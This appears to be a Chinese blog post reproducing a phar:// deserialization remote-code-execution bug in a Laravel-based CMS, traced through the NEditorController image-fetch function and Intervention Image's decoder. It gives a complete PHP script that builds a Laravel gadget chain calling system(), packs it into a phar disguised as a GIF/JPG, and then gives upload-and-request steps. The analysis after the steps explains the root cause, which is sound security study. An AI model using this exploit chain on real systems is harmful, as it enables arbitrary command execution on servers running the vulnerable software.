文章目录

写在前面

之前就想复现来着了，后来给我忘了，今晚补上吧

利用姿势

首先用phpggc生成一个phar，当然嫌弃懒的话可以用这个

<?phpnamespace Illuminate\Broadcasting{class PendingBroadcast{protected $events;protected $event;public function __construct($events, $event){$this->events = $events;$this->event = $event;}}class BroadcastEvent{protected $connection;public function __construct($connection){$this->connection = $connection;}}}namespace Illuminate\Bus{class Dispatcher{protected $queueResolver;public function __construct($queueResolver){$this->queueResolver = $queueResolver;}}}namespace{$command = new Illuminate\Broadcasting\BroadcastEvent('whoami');$dispater = new Illuminate\Bus\Dispatcher("system");$PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispater,$command);$phar = new Phar('phar.phar');$phar -> stopBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");$phar -> addFromString('test.txt','test');$phar -> setMetadata($PendingBroadcast);$phar -> stopBuffering();rename('phar.phar','phar.jpg');}

之后上传到你的后台获得相对路径

之后在你的vps中写入

phar://./upload/image/06/uzOpshR76Znv0gG6mvL9YHBRXPI5EaEDFpwqfgCp.gif

最后请求，成功执行

分析

漏洞点和之前爆出的任意文件读取与RCE那个地方一样，在Http/Controllers/Admin/NEditorController.php下的fetchImageFile函数，因为我传入的不是Webp文件，所以进入Image::make($data);，而这个data变量也就是请求返回的内容

一直跟进到src/Intervention/Image/AbstractDecoder.php下的init方法

public function init($data){$this->data = $data;switch (true) {case $this->isGdResource():return $this->initFromGdResource($this->data);case $this->isImagick():return $this->initFromImagick($this->data);case $this->isInterventionImage():return $this->initFromInterventionImage($this->data);case $this->isSplFileInfo():return $this->initFromPath($this->data->getRealPath());case $this->isBinary():return $this->initFromBinary($this->data);case $this->isUrl():return $this->initFromUrl($this->data);case $this->isStream():return $this->initFromStream($this->data);case $this->isDataUrl():return $this->initFromBinary($this->decodeDataUrl($this->data));case $this->isFilePath():return $this->initFromPath($this->data);// isBase64 has to be after isFilePath to prevent false positivescase $this->isBase64():return $this->initFromBinary(base64_decode($this->data));default:throw new NotReadableException("Image source not readable");}}

在isUrl分支

继续跟踪

妥妥的可以触发phar://反序列化